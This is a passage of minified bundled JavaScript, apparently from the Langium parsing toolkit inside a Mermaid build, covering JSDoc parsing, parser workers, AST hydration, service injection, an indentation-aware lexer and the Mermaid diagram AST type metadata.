t.endsWith(` +`)?` +`:` + +`}var yme,nje,sje,oje,i6,Qb,Zb,a6,_B=N(()=>{"use strict";BP();l1();Qc();o(SB,"parseJSDoc");o(CB,"isJSDoc");o(xme,"getLines");yme=/\s*(@([\p{L}][\p{L}\p{N}]*)?)/uy,nje=/\{(@[\p{L}][\p{L}\p{N}]*)(\s*)([^\r\n}]+)?\}/gu;o(ije,"tokenize");o(aje,"buildInlineTokens");sje=/\S/,oje=/\s*$/;o(EB,"skipWhitespace");o(lje,"lastCharacter");o(cje,"parseJSDocComment");o(uje,"parseJSDocElement");o(hje,"appendEmptyLine");o(bme,"parseJSDocText");o(fje,"parseJSDocInline");o(Tme,"parseJSDocTag");o(wme,"parseJSDocLine");o(AB,"normalizeOptions");o(kB,"normalizeOption");i6=class{static{o(this,"JSDocCommentImpl")}constructor(e,r){this.elements=e,this.range=r}getTag(e){return this.getAllTags().find(r=>r.name===e)}getTags(e){return this.getAllTags().filter(r=>r.name===e)}getAllTags(){return this.elements.filter(e=>"name"in e)}toString(){let e="";for(let r of this.elements)if(e.length===0)e=r.toString();else{let n=r.toString();e+=vme(e)+n}return e.trim()}toMarkdown(e){let r="";for(let n of this.elements)if(r.length===0)r=n.toMarkdown(e);else{let i=n.toMarkdown(e);r+=vme(r)+i}return r.trim()}},Qb=class{static{o(this,"JSDocTagImpl")}constructor(e,r,n,i){this.name=e,this.content=r,this.inline=n,this.range=i}toString(){let e=`@${this.name}`,r=this.content.toString();return this.content.inlines.length===1?e=`${e} ${r}`:this.content.inlines.length>1&&(e=`${e} +${r}`),this.inline?`{${e}}`:e}toMarkdown(e){var r,n;return(n=(r=e?.renderTag)===null||r===void 0?void 0:r.call(e,this))!==null&&n!==void 0?n:this.toMarkdownDefault(e)}toMarkdownDefault(e){let r=this.content.toMarkdown(e);if(this.inline){let a=dje(this.name,r,e??{});if(typeof a=="string")return a}let n="";e?.tag==="italic"||e?.tag===void 0?n="*":e?.tag==="bold"?n="**":e?.tag==="bold-italic"&&(n="***");let i=`${n}@${this.name}${n}`;return this.content.inlines.length===1?i=`${i} \u2014 ${r}`:this.content.inlines.length>1&&(i=`${i} +${r}`),this.inline?`{${i}}`:i}};o(dje,"renderInlineTag");o(pje,"renderLinkDefault");Zb=class{static{o(this,"JSDocTextImpl")}constructor(e,r){this.inlines=e,this.range=r}toString(){let e="";for(let r=0;rn.range.start.line&&(e+=` +`)}return e}toMarkdown(e){let r="";for(let n=0;ni.range.start.line&&(r+=` +`)}return r}},a6=class{static{o(this,"JSDocLineImpl")}constructor(e,r){this.text=e,this.range=r}toString(){return this.text}toMarkdown(){return this.text}};o(vme,"fillNewlines")});var Jb,DB=N(()=>{"use strict";hs();_B();Jb=class{static{o(this,"JSDocDocumentationProvider")}constructor(e){this.indexManager=e.shared.workspace.IndexManager,this.commentProvider=e.documentation.CommentProvider}getDocumentation(e){let r=this.commentProvider.getComment(e);if(r&&CB(r))return SB(r).toMarkdown({renderLink:o((i,a)=>this.documentationLinkRenderer(e,i,a),"renderLink"),renderTag:o(i=>this.documentationTagRenderer(e,i),"renderTag")})}documentationLinkRenderer(e,r,n){var i;let a=(i=this.findNameInPrecomputedScopes(e,r))!==null&&i!==void 0?i:this.findNameInGlobalScope(e,r);if(a&&a.nameSegment){let s=a.nameSegment.range.start.line+1,l=a.nameSegment.range.start.character+1,u=a.documentUri.with({fragment:`L${s},${l}`});return`[${n}](${u.toString()})`}else return}documentationTagRenderer(e,r){}findNameInPrecomputedScopes(e,r){let i=Va(e).precomputedScopes;if(!i)return;let a=e;do{let l=i.get(a).find(u=>u.name===r);if(l)return l;a=a.$container}while(a)}findNameInGlobalScope(e,r){return this.indexManager.allElements().find(i=>i.name===r)}}});var e4,LB=N(()=>{"use strict";ZS();Bl();e4=class{static{o(this,"DefaultCommentProvider")}constructor(e){this.grammarConfig=()=>e.parser.GrammarConfig}getComment(e){var r;return hB(e)?e.$comment:(r=jI(e.$cstNode,this.grammarConfig().multilineCommentRules))===null||r===void 0?void 0:r.text}}});var t4,RB,NB,MB=N(()=>{"use strict";tl();e6();t4=class{static{o(this,"DefaultAsyncParser")}constructor(e){this.syncParser=e.parser.LangiumParser}parse(e,r){return Promise.resolve(this.syncParser.parse(e))}},RB=class{static{o(this,"AbstractThreadedAsyncParser")}constructor(e){this.threadCount=8,this.terminationDelay=200,this.workerPool=[],this.queue=[],this.hydrator=e.serializer.Hydrator}initializeWorkers(){for(;this.workerPool.length{if(this.queue.length>0){let r=this.queue.shift();r&&(e.lock(),r.resolve(e))}}),this.workerPool.push(e)}}async parse(e,r){let n=await this.acquireParserWorker(r),i=new gs,a,s=r.onCancellationRequested(()=>{a=setTimeout(()=>{this.terminateWorker(n)},this.terminationDelay)});return n.parse(e).then(l=>{let u=this.hydrator.hydrate(l);i.resolve(u)}).catch(l=>{i.reject(l)}).finally(()=>{s.dispose(),clearTimeout(a)}),i.promise}terminateWorker(e){e.terminate();let r=this.workerPool.indexOf(e);r>=0&&this.workerPool.splice(r,1)}async acquireParserWorker(e){this.initializeWorkers();for(let n of this.workerPool)if(n.ready)return n.lock(),n;let r=new gs;return e.onCancellationRequested(()=>{let n=this.queue.indexOf(r);n>=0&&this.queue.splice(n,1),r.reject(jc)}),this.queue.push(r),r.promise}},NB=class{static{o(this,"ParserWorker")}get ready(){return this._ready}get onReady(){return this.onReadyEmitter.event}constructor(e,r,n,i){this.onReadyEmitter=new ei.Emitter,this.deferred=new gs,this._ready=!0,this._parsing=!1,this.sendMessage=e,this._terminate=i,r(a=>{let s=a;this.deferred.resolve(s),this.unlock()}),n(a=>{this.deferred.reject(a),this.unlock()})}terminate(){this.deferred.reject(jc),this._terminate()}lock(){this._ready=!1}unlock(){this._parsing=!1,this._ready=!0,this.onReadyEmitter.fire()}parse(e){if(this._parsing)throw new Error("Parser worker is busy");return this._parsing=!0,this.deferred=new gs,this.sendMessage(e),this.deferred.promise}}});var r4,IB=N(()=>{"use strict";el();tl();r4=class{static{o(this,"DefaultWorkspaceLock")}constructor(){this.previousTokenSource=new br.CancellationTokenSource,this.writeQueue=[],this.readQueue=[],this.done=!0}write(e){this.cancelWrite();let r=XS();return this.previousTokenSource=r,this.enqueue(this.writeQueue,e,r.token)}read(e){return this.enqueue(this.readQueue,e)}enqueue(e,r,n=br.CancellationToken.None){let i=new gs,a={action:r,deferred:i,cancellationToken:n};return e.push(a),this.performNextOperation(),i.promise}async performNextOperation(){if(!this.done)return;let e=[];if(this.writeQueue.length>0)e.push(this.writeQueue.shift());else if(this.readQueue.length>0)e.push(...this.readQueue.splice(0,this.readQueue.length));else return;this.done=!1,await Promise.all(e.map(async({action:r,deferred:n,cancellationToken:i})=>{try{let a=await Promise.resolve().then(()=>r(i));n.resolve(a)}catch(a){Kc(a)?n.resolve(void 0):n.reject(a)}})),this.done=!0,this.performNextOperation()}cancelWrite(){this.previousTokenSource.cancel()}}});var n4,OB=N(()=>{"use strict";FS();Hc();Pl();hs();H1();Bl();n4=class{static{o(this,"DefaultHydrator")}constructor(e){this.grammarElementIdMap=new Qp,this.tokenTypeIdMap=new Qp,this.grammar=e.Grammar,this.lexer=e.parser.Lexer,this.linker=e.references.Linker}dehydrate(e){return{lexerErrors:e.lexerErrors,lexerReport:e.lexerReport?this.dehydrateLexerReport(e.lexerReport):void 0,parserErrors:e.parserErrors.map(r=>Object.assign(Object.assign({},r),{message:r.message})),value:this.dehydrateAstNode(e.value,this.createDehyrationContext(e.value))}}dehydrateLexerReport(e){return e}createDehyrationContext(e){let r=new Map,n=new Map;for(let i of Jo(e))r.set(i,{});if(e.$cstNode)for(let i of Dp(e.$cstNode))n.set(i,{});return{astNodes:r,cstNodes:n}}dehydrateAstNode(e,r){let n=r.astNodes.get(e);n.$type=e.$type,n.$containerIndex=e.$containerIndex,n.$containerProperty=e.$containerProperty,e.$cstNode!==void 0&&(n.$cstNode=this.dehydrateCstNode(e.$cstNode,r));for(let[i,a]of Object.entries(e))if(!i.startsWith("$"))if(Array.isArray(a)){let s=[];n[i]=s;for(let l of a)li(l)?s.push(this.dehydrateAstNode(l,r)):Ta(l)?s.push(this.dehydrateReference(l,r)):s.push(l)}else li(a)?n[i]=this.dehydrateAstNode(a,r):Ta(a)?n[i]=this.dehydrateReference(a,r):a!==void 0&&(n[i]=a);return n}dehydrateReference(e,r){let n={};return n.$refText=e.$refText,e.$refNode&&(n.$refNode=r.cstNodes.get(e.$refNode)),n}dehydrateCstNode(e,r){let n=r.cstNodes.get(e);return Lx(e)?n.fullText=e.fullText:n.grammarSource=this.getGrammarElementId(e.grammarSource),n.hidden=e.hidden,n.astNode=r.astNodes.get(e.astNode),Ol(e)?n.content=e.content.map(i=>this.dehydrateCstNode(i,r)):If(e)&&(n.tokenType=e.tokenType.name,n.offset=e.offset,n.length=e.length,n.startLine=e.range.start.line,n.startColumn=e.range.start.character,n.endLine=e.range.end.line,n.endColumn=e.range.end.character),n}hydrate(e){let r=e.value,n=this.createHydrationContext(r);return"$cstNode"in r&&this.hydrateCstNode(r.$cstNode,n),{lexerErrors:e.lexerErrors,lexerReport:e.lexerReport,parserErrors:e.parserErrors,value:this.hydrateAstNode(r,n)}}createHydrationContext(e){let r=new Map,n=new Map;for(let a of Jo(e))r.set(a,{});let i;if(e.$cstNode)for(let a of Dp(e.$cstNode)){let s;"fullText"in a?(s=new B1(a.fullText),i=s):"content"in a?s=new Xp:"tokenType"in a&&(s=this.hydrateCstLeafNode(a)),s&&(n.set(a,s),s.root=i)}return{astNodes:r,cstNodes:n}}hydrateAstNode(e,r){let n=r.astNodes.get(e);n.$type=e.$type,n.$containerIndex=e.$containerIndex,n.$containerProperty=e.$containerProperty,e.$cstNode&&(n.$cstNode=r.cstNodes.get(e.$cstNode));for(let[i,a]of Object.entries(e))if(!i.startsWith("$"))if(Array.isArray(a)){let s=[];n[i]=s;for(let l of a)li(l)?s.push(this.setParent(this.hydrateAstNode(l,r),n)):Ta(l)?s.push(this.hydrateReference(l,n,i,r)):s.push(l)}else li(a)?n[i]=this.setParent(this.hydrateAstNode(a,r),n):Ta(a)?n[i]=this.hydrateReference(a,n,i,r):a!==void 0&&(n[i]=a);return n}setParent(e,r){return e.$container=r,e}hydrateReference(e,r,n,i){return this.linker.buildReference(r,n,i.cstNodes.get(e.$refNode),e.$refText)}hydrateCstNode(e,r,n=0){let i=r.cstNodes.get(e);if(typeof e.grammarSource=="number"&&(i.grammarSource=this.getGrammarElement(e.grammarSource)),i.astNode=r.astNodes.get(e.astNode),Ol(i))for(let a of e.content){let s=this.hydrateCstNode(a,r,n++);i.content.push(s)}return i}hydrateCstLeafNode(e){let r=this.getTokenType(e.tokenType),n=e.offset,i=e.length,a=e.startLine,s=e.startColumn,l=e.endLine,u=e.endColumn,h=e.hidden;return new Yp(n,i,{start:{line:a,character:s},end:{line:l,character:u}},r,h)}getTokenType(e){return this.lexer.definition[e]}getGrammarElementId(e){if(e)return this.grammarElementIdMap.size===0&&this.createGrammarElementIdMap(),this.grammarElementIdMap.get(e)}getGrammarElement(e){return this.grammarElementIdMap.size===0&&this.createGrammarElementIdMap(),this.grammarElementIdMap.getKey(e)}createGrammarElementIdMap(){let e=0;for(let r of Jo(this.grammar))Fx(r)&&this.grammarElementIdMap.set(r,e++)}}});function wa(t){return{documentation:{CommentProvider:o(e=>new e4(e),"CommentProvider"),DocumentationProvider:o(e=>new Jb(e),"DocumentationProvider")},parser:{AsyncParser:o(e=>new t4(e),"AsyncParser"),GrammarConfig:o(e=>PO(e),"GrammarConfig"),LangiumParser:o(e=>HP(e),"LangiumParser"),CompletionParser:o(e=>VP(e),"CompletionParser"),ValueConverter:o(()=>new Kp,"ValueConverter"),TokenBuilder:o(()=>new th,"TokenBuilder"),Lexer:o(e=>new e0(e),"Lexer"),ParserErrorMessageProvider:o(()=>new F1,"ParserErrorMessageProvider"),LexerErrorMessageProvider:o(()=>new Kb,"LexerErrorMessageProvider")},workspace:{AstNodeLocator:o(()=>new qb,"AstNodeLocator"),AstNodeDescriptionProvider:o(e=>new Ub(e),"AstNodeDescriptionProvider"),ReferenceDescriptionProvider:o(e=>new Hb(e),"ReferenceDescriptionProvider")},references:{Linker:o(e=>new Rb(e),"Linker"),NameProvider:o(()=>new Nb,"NameProvider"),ScopeProvider:o(e=>new Bb(e),"ScopeProvider"),ScopeComputation:o(e=>new Ib(e),"ScopeComputation"),References:o(e=>new Mb(e),"References")},serializer:{Hydrator:o(e=>new n4(e),"Hydrator"),JsonSerializer:o(e=>new Fb(e),"JsonSerializer")},validation:{DocumentValidator:o(e=>new Vb(e),"DocumentValidator"),ValidationRegistry:o(e=>new zb(e),"ValidationRegistry")},shared:o(()=>t.shared,"shared")}}function ka(t){return{ServiceRegistry:o(e=>new $b(e),"ServiceRegistry"),workspace:{LangiumDocuments:o(e=>new Lb(e),"LangiumDocuments"),LangiumDocumentFactory:o(e=>new Db(e),"LangiumDocumentFactory"),DocumentBuilder:o(e=>new Yb(e),"DocumentBuilder"),IndexManager:o(e=>new Xb(e),"IndexManager"),WorkspaceManager:o(e=>new jb(e),"WorkspaceManager"),FileSystemProvider:o(e=>t.fileSystemProvider(e),"FileSystemProvider"),WorkspaceLock:o(()=>new r4,"WorkspaceLock"),ConfigurationProvider:o(e=>new Wb(e),"ConfigurationProvider")}}}var PB=N(()=>{"use strict";BO();UP();qP();US();WP();aB();sB();oB();lB();uB();ZS();fB();dB();Gb();pB();mB();gB();vB();U1();xB();bB();n6();DB();LB();Ab();MB();IB();OB();o(wa,"createDefaultCoreModule");o(ka,"createDefaultSharedCoreModule")});function Hn(t,e,r,n,i,a,s,l,u){let h=[t,e,r,n,i,a,s,l,u].reduce(s6,{});return Ame(h)}function Cme(t){if(t&&t[Sme])for(let e of Object.values(t))Cme(e);return t}function Ame(t,e){let r=new Proxy({},{deleteProperty:o(()=>!1,"deleteProperty"),set:o(()=>{throw new Error("Cannot set property on injected service container")},"set"),get:o((n,i)=>i===Sme?!0:Eme(n,i,t,e||r),"get"),getOwnPropertyDescriptor:o((n,i)=>(Eme(n,i,t,e||r),Object.getOwnPropertyDescriptor(n,i)),"getOwnPropertyDescriptor"),has:o((n,i)=>i in t,"has"),ownKeys:o(()=>[...Object.getOwnPropertyNames(t)],"ownKeys")});return r}function Eme(t,e,r,n){if(e in t){if(t[e]instanceof Error)throw new Error("Construction failure. Please make sure that your dependencies are constructable.",{cause:t[e]});if(t[e]===kme)throw new Error('Cycle detected. Please make "'+String(e)+'" lazy. Visit https://langium.org/docs/reference/configuration-services/#resolving-cyclic-dependencies');return t[e]}else if(e in r){let i=r[e];t[e]=kme;try{t[e]=typeof i=="function"?i(n):Ame(i,n)}catch(a){throw t[e]=a instanceof Error?a:void 0,a}return t[e]}else return}function s6(t,e){if(e){for(let[r,n]of Object.entries(e))if(n!==void 0){let i=t[r];i!==null&&n!==null&&typeof i=="object"&&typeof n=="object"?t[r]=s6(i,n):t[r]=n}}return t}var BB,Sme,kme,FB=N(()=>{"use strict";(function(t){t.merge=(e,r)=>s6(s6({},e),r)})(BB||(BB={}));o(Hn,"inject");Sme=Symbol("isProxy");o(Cme,"eagerLoad");o(Ame,"_inject");kme=Symbol();o(Eme,"_resolve");o(s6,"_merge")});var _me=N(()=>{"use strict"});var Dme=N(()=>{"use strict";LB();DB();_B()});var Lme=N(()=>{"use strict"});var Rme=N(()=>{"use strict";BO();Lme()});var $B,t0,o6,zB,Nme=N(()=>{"use strict";Ff();US();n6();$B={indentTokenName:"INDENT",dedentTokenName:"DEDENT",whitespaceTokenName:"WS",ignoreIndentationDelimiters:[]};(function(t){t.REGULAR="indentation-sensitive",t.IGNORE_INDENTATION="ignore-indentation"})(t0||(t0={}));o6=class extends th{static{o(this,"IndentationAwareTokenBuilder")}constructor(e=$B){super(),this.indentationStack=[0],this.whitespaceRegExp=/[ \t]+/y,this.options=Object.assign(Object.assign({},$B),e),this.indentTokenType=Pf({name:this.options.indentTokenName,pattern:this.indentMatcher.bind(this),line_breaks:!1}),this.dedentTokenType=Pf({name:this.options.dedentTokenName,pattern:this.dedentMatcher.bind(this),line_breaks:!1})}buildTokens(e,r){let n=super.buildTokens(e,r);if(!r6(n))throw new Error("Invalid tokens built by default builder");let{indentTokenName:i,dedentTokenName:a,whitespaceTokenName:s,ignoreIndentationDelimiters:l}=this.options,u,h,f,d=[];for(let p of n){for(let[m,g]of l)p.name===m?p.PUSH_MODE=t0.IGNORE_INDENTATION:p.name===g&&(p.POP_MODE=!0);p.name===a?u=p:p.name===i?h=p:p.name===s?f=p:d.push(p)}if(!u||!h||!f)throw new Error("Some indentation/whitespace tokens not found!");return l.length>0?{modes:{[t0.REGULAR]:[u,h,...d,f],[t0.IGNORE_INDENTATION]:[...d,f]},defaultMode:t0.REGULAR}:[u,h,f,...d]}flushLexingReport(e){let r=super.flushLexingReport(e);return Object.assign(Object.assign({},r),{remainingDedents:this.flushRemainingDedents(e)})}isStartOfLine(e,r){return r===0||`\r +`.includes(e[r-1])}matchWhitespace(e,r,n,i){var a;this.whitespaceRegExp.lastIndex=r;let s=this.whitespaceRegExp.exec(e);return{currIndentLevel:(a=s?.[0].length)!==null&&a!==void 0?a:0,prevIndentLevel:this.indentationStack.at(-1),match:s}}createIndentationTokenInstance(e,r,n,i){let a=this.getLineNumber(r,i);return Qu(e,n,i,i+n.length,a,a,1,n.length)}getLineNumber(e,r){return e.substring(0,r).split(/\r\n|\r|\n/).length}indentMatcher(e,r,n,i){if(!this.isStartOfLine(e,r))return null;let{currIndentLevel:a,prevIndentLevel:s,match:l}=this.matchWhitespace(e,r,n,i);return a<=s?null:(this.indentationStack.push(a),l)}dedentMatcher(e,r,n,i){var a,s,l,u;if(!this.isStartOfLine(e,r))return null;let{currIndentLevel:h,prevIndentLevel:f,match:d}=this.matchWhitespace(e,r,n,i);if(h>=f)return null;let p=this.indentationStack.lastIndexOf(h);if(p===-1)return this.diagnostics.push({severity:"error",message:`Invalid dedent level ${h} at offset: ${r}. Current indentation stack: ${this.indentationStack}`,offset:r,length:(s=(a=d?.[0])===null||a===void 0?void 0:a.length)!==null&&s!==void 0?s:0,line:this.getLineNumber(e,r),column:1}),null;let m=this.indentationStack.length-p-1,g=(u=(l=e.substring(0,r).match(/[\r\n]+$/))===null||l===void 0?void 0:l[0].length)!==null&&u!==void 0?u:1;for(let y=0;y1;)r.push(this.createIndentationTokenInstance(this.dedentTokenType,e,"",e.length)),this.indentationStack.pop();return this.indentationStack=[0],r}},zB=class extends e0{static{o(this,"IndentationAwareLexer")}constructor(e){if(super(e),e.parser.TokenBuilder instanceof o6)this.indentationTokenBuilder=e.parser.TokenBuilder;else throw new Error("IndentationAwareLexer requires an accompanying IndentationAwareTokenBuilder")}tokenize(e,r=t6){let n=super.tokenize(e),i=n.report;r?.mode==="full"&&n.tokens.push(...i.remainingDedents),i.remainingDedents=[];let{indentTokenType:a,dedentTokenType:s}=this.indentationTokenBuilder,l=a.tokenTypeIdx,u=s.tokenTypeIdx,h=[],f=n.tokens.length-1;for(let d=0;d=0&&h.push(n.tokens[f]),n.tokens=h,n}}});var Mme=N(()=>{"use strict"});var Ime=N(()=>{"use strict";MB();UP();FS();Nme();qP();Ab();n6();VS();Mme();US();WP()});var Ome=N(()=>{"use strict";aB();sB();oB();cB();lB();uB()});var Pme=N(()=>{"use strict";OB();ZS()});var l6,Ea,GB=N(()=>{"use strict";l6=class{static{o(this,"EmptyFileSystemProvider")}readFile(){throw new Error("No file system is available.")}async readDirectory(){return[]}},Ea={fileSystemProvider:o(()=>new l6,"fileSystemProvider")}});function yje(){let t=Hn(ka(Ea),gje),e=Hn(wa({shared:t}),mje);return t.ServiceRegistry.register(e),e}function Zc(t){var e;let r=yje(),n=r.serializer.JsonSerializer.deserialize(t);return r.shared.workspace.LangiumDocumentFactory.fromModel(n,ys.parse(`memory://${(e=n.name)!==null&&e!==void 0?e:"grammar"}.langium`)),n}var mje,gje,Bme=N(()=>{"use strict";PB();FB();Hc();GB();Qc();mje={Grammar:o(()=>{},"Grammar"),LanguageMetaData:o(()=>({caseInsensitive:!1,fileExtensions:[".langium"],languageId:"langium"}),"LanguageMetaData")},gje={AstReflection:o(()=>new i1,"AstReflection")};o(yje,"createMinimalGrammarServices");o(Zc,"loadGrammarFromJson")});var Xr={};dr(Xr,{AstUtils:()=>GE,BiMap:()=>Qp,Cancellation:()=>br,ContextCache:()=>Zp,CstUtils:()=>RE,DONE_RESULT:()=>za,Deferred:()=>gs,Disposable:()=>Gf,DisposableCache:()=>W1,DocumentCache:()=>KS,EMPTY_STREAM:()=>Rx,ErrorWithLocation:()=>Rp,GrammarUtils:()=>WE,MultiMap:()=>Vl,OperationCancelled:()=>jc,Reduction:()=>vg,RegExpUtils:()=>HE,SimpleCache:()=>Pb,StreamImpl:()=>po,TreeStreamImpl:()=>Gc,URI:()=>ys,UriUtils:()=>vs,WorkspaceCache:()=>Y1,assertUnreachable:()=>Uc,delayNextTick:()=>tB,interruptAndCheck:()=>bi,isOperationCancelled:()=>Kc,loadGrammarFromJson:()=>Zc,setInterruptionPeriod:()=>ome,startCancelableOperation:()=>XS,stream:()=>an});var Fme=N(()=>{"use strict";QS();e6();Lr(Xr,ei);H1();yB();NE();Bme();tl();Ys();Qc();hs();el();Bl();zl();l1()});var $me=N(()=>{"use strict";dB();Gb()});var zme=N(()=>{"use strict";pB();mB();gB();vB();U1();GB();xB();IB();bB()});var Sa={};dr(Sa,{AbstractAstReflection:()=>Ap,AbstractCstNode:()=>kb,AbstractLangiumParser:()=>Eb,AbstractParserErrorMessageProvider:()=>zS,AbstractThreadedAsyncParser:()=>RB,AstUtils:()=>GE,BiMap:()=>Qp,Cancellation:()=>br,CompositeCstNodeImpl:()=>Xp,ContextCache:()=>Zp,CstNodeBuilder:()=>wb,CstUtils:()=>RE,DEFAULT_TOKENIZE_OPTIONS:()=>t6,DONE_RESULT:()=>za,DatatypeSymbol:()=>$S,DefaultAstNodeDescriptionProvider:()=>Ub,DefaultAstNodeLocator:()=>qb,DefaultAsyncParser:()=>t4,DefaultCommentProvider:()=>e4,DefaultConfigurationProvider:()=>Wb,DefaultDocumentBuilder:()=>Yb,DefaultDocumentValidator:()=>Vb,DefaultHydrator:()=>n4,DefaultIndexManager:()=>Xb,DefaultJsonSerializer:()=>Fb,DefaultLangiumDocumentFactory:()=>Db,DefaultLangiumDocuments:()=>Lb,DefaultLexer:()=>e0,DefaultLexerErrorMessageProvider:()=>Kb,DefaultLinker:()=>Rb,DefaultNameProvider:()=>Nb,DefaultReferenceDescriptionProvider:()=>Hb,DefaultReferences:()=>Mb,DefaultScopeComputation:()=>Ib,DefaultScopeProvider:()=>Bb,DefaultServiceRegistry:()=>$b,DefaultTokenBuilder:()=>th,DefaultValueConverter:()=>Kp,DefaultWorkspaceLock:()=>r4,DefaultWorkspaceManager:()=>jb,Deferred:()=>gs,Disposable:()=>Gf,DisposableCache:()=>W1,DocumentCache:()=>KS,DocumentState:()=>Ln,DocumentValidator:()=>rl,EMPTY_SCOPE:()=>rje,EMPTY_STREAM:()=>Rx,EmptyFileSystem:()=>Ea,EmptyFileSystemProvider:()=>l6,ErrorWithLocation:()=>Rp,GrammarAST:()=>zx,GrammarUtils:()=>WE,IndentationAwareLexer:()=>zB,IndentationAwareTokenBuilder:()=>o6,JSDocDocumentationProvider:()=>Jb,LangiumCompletionParser:()=>Cb,LangiumParser:()=>Sb,LangiumParserErrorMessageProvider:()=>F1,LeafCstNodeImpl:()=>Yp,LexingMode:()=>t0,MapScope:()=>Ob,Module:()=>BB,MultiMap:()=>Vl,OperationCancelled:()=>jc,ParserWorker:()=>NB,Reduction:()=>vg,RegExpUtils:()=>HE,RootCstNodeImpl:()=>B1,SimpleCache:()=>Pb,StreamImpl:()=>po,StreamScope:()=>q1,TextDocument:()=>G1,TreeStreamImpl:()=>Gc,URI:()=>ys,UriUtils:()=>vs,ValidationCategory:()=>X1,ValidationRegistry:()=>zb,ValueConverter:()=>Xc,WorkspaceCache:()=>Y1,assertUnreachable:()=>Uc,createCompletionParser:()=>VP,createDefaultCoreModule:()=>wa,createDefaultSharedCoreModule:()=>ka,createGrammarConfig:()=>PO,createLangiumParser:()=>HP,createParser:()=>_b,delayNextTick:()=>tB,diagnosticData:()=>Jp,eagerLoad:()=>Cme,getDiagnosticRange:()=>mme,indentationBuilderDefaultOptions:()=>$B,inject:()=>Hn,interruptAndCheck:()=>bi,isAstNode:()=>li,isAstNodeDescription:()=>qI,isAstNodeWithComment:()=>hB,isCompositeCstNode:()=>Ol,isIMultiModeLexerDefinition:()=>wB,isJSDoc:()=>CB,isLeafCstNode:()=>If,isLinkingError:()=>_p,isNamed:()=>dme,isOperationCancelled:()=>Kc,isReference:()=>Ta,isRootCstNode:()=>Lx,isTokenTypeArray:()=>r6,isTokenTypeDictionary:()=>TB,loadGrammarFromJson:()=>Zc,parseJSDoc:()=>SB,prepareLangiumParser:()=>eme,setInterruptionPeriod:()=>ome,startCancelableOperation:()=>XS,stream:()=>an,toDiagnosticData:()=>gme,toDiagnosticSeverity:()=>JS});var vo=N(()=>{"use strict";PB();FB();fB();_me();Pl();Dme();Rme();Ime();Ome();Pme();Fme();Lr(Sa,Xr);$me();zme();Hc()});function Xme(t){return Ul.isInstance(t,i4)}function jme(t){return Ul.isInstance(t,j1)}function Kme(t){return Ul.isInstance(t,K1)}function Qme(t){return Ul.isInstance(t,Q1)}function Zme(t){return Ul.isInstance(t,a4)}function Jme(t){return Ul.isInstance(t,Z1)}function ege(t){return Ul.isInstance(t,s4)}function tge(t){return Ul.isInstance(t,o4)}function rge(t){return Ul.isInstance(t,l4)}function nge(t){return Ul.isInstance(t,c4)}function ige(t){return Ul.isInstance(t,u4)}var vje,Tt,QB,i4,c6,j1,u6,h6,VB,K1,UB,HB,qB,Q1,WB,a4,f6,YB,Z1,XB,s4,o4,l4,c4,g6,jB,u4,KB,d6,p6,m6,age,Ul,Gme,xje,Vme,bje,Ume,Tje,Hme,wje,qme,kje,Wme,Eje,Yme,Sje,Cje,Aje,_je,Dje,Lje,Rje,Nje,xs,ZB,JB,eF,tF,rF,nF,iF,Mje,Ije,Oje,Pje,Vf,rh,Ha,Bje,qa=N(()=>{"use strict";vo();vo();vo();vo();vje=Object.defineProperty,Tt=o((t,e)=>vje(t,"name",{value:e,configurable:!0}),"__name"),QB="Statement",i4="Architecture";o(Xme,"isArchitecture");Tt(Xme,"isArchitecture");c6="Axis",j1="Branch";o(jme,"isBranch");Tt(jme,"isBranch");u6="Checkout",h6="CherryPicking",VB="ClassDefStatement",K1="Commit";o(Kme,"isCommit");Tt(Kme,"isCommit");UB="Curve",HB="Edge",qB="Entry",Q1="GitGraph";o(Qme,"isGitGraph");Tt(Qme,"isGitGraph");WB="Group",a4="Info";o(Zme,"isInfo");Tt(Zme,"isInfo");f6="Item",YB="Junction",Z1="Merge";o(Jme,"isMerge");Tt(Jme,"isMerge");XB="Option",s4="Packet";o(ege,"isPacket");Tt(ege,"isPacket");o4="PacketBlock";o(tge,"isPacketBlock");Tt(tge,"isPacketBlock");l4="Pie";o(rge,"isPie");Tt(rge,"isPie");c4="PieSection";o(nge,"isPieSection");Tt(nge,"isPieSection");g6="Radar",jB="Service",u4="Treemap";o(ige,"isTreemap");Tt(ige,"isTreemap");KB="TreemapRow",d6="Direction",p6="Leaf",m6="Section",age=class extends Ap{static{o(this,"MermaidAstReflection")}static{Tt(this,"MermaidAstReflection")}getAllTypes(){return[i4,c6,j1,u6,h6,VB,K1,UB,d6,HB,qB,Q1,WB,a4,f6,YB,p6,Z1,XB,s4,o4,l4,c4,g6,m6,jB,QB,u4,KB]}computeIsSubtype(t,e){switch(t){case j1:case u6:case h6:case K1:case Z1:return this.isSubtype(QB,e);case d6:return this.isSubtype(Q1,e);case p6:case m6:return this.isSubtype(f6,e);default:return!1}}getReferenceType(t){let e=`${t.container.$type}:${t.property}`;switch(e){case"Entry:axis":return c6;default:throw new Error(`${e} is not a valid reference id.`)}}getTypeMetaData(t){switch(t){case i4:return{name:i4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"edges",defaultValue:[]},{name:"groups",defaultValue:[]},{name:"junctions",defaultValue:[]},{name:"services",defaultValue:[]},{name:"title"}]};case c6:return{name:c6,properties:[{name:"label"},{name:"name"}]};case j1:return{name:j1,properties:[{name:"name"},{name:"order"}]};case u6:return{name:u6,properties:[{name:"branch"}]};case h6:return{name:h6,properties:[{name:"id"},{name:"parent"},{name:"tags",defaultValue:[]}]};case VB:return{name:VB,properties:[{name:"className"},{name:"styleText"}]};case K1:return{name:K1,properties:[{name:"id"},{name:"message"},{name:"tags",defaultValue:[]},{name:"type"}]};case UB:return{name:UB,properties:[{name:"entries",defaultValue:[]},{name:"label"},{name:"name"}]};case HB:return{name:HB,properties:[{name:"lhsDir"},{name:"lhsGroup",defaultValue:!1},{name:"lhsId"},{name:"lhsInto",defaultValue:!1},{name:"rhsDir"},{name:"rhsGroup",defaultValue:!1},{name:"rhsId"},{name:"rhsInto",defaultValue:!1},{name:"title"}]};case qB:return{name:qB,properties:[{name:"axis"},{name:"value"}]};case Q1:return{name:Q1,properties:[{name:"accDescr"},{name:"accTitle"},{name:"statements",defaultValue:[]},{name:"title"}]};case WB:return{name:WB,properties:[{name:"icon"},{name:"id"},{name:"in"},{name:"title"}]};case a4:return{name:a4,properties:[{name:"accDescr"},{name:"accTitle"},{name:"title"}]};case f6:return{name:f6,properties:[{name:"classSelector"},{name:"name"}]};case YB:return{name:YB,properties:[{name:"id"},{name:"in"}]};case Z1:return{name:Z1,properties:[{name:"branch"},{name:"id"},{name:"tags",defaultValue:[]},{name:"type"}]};case 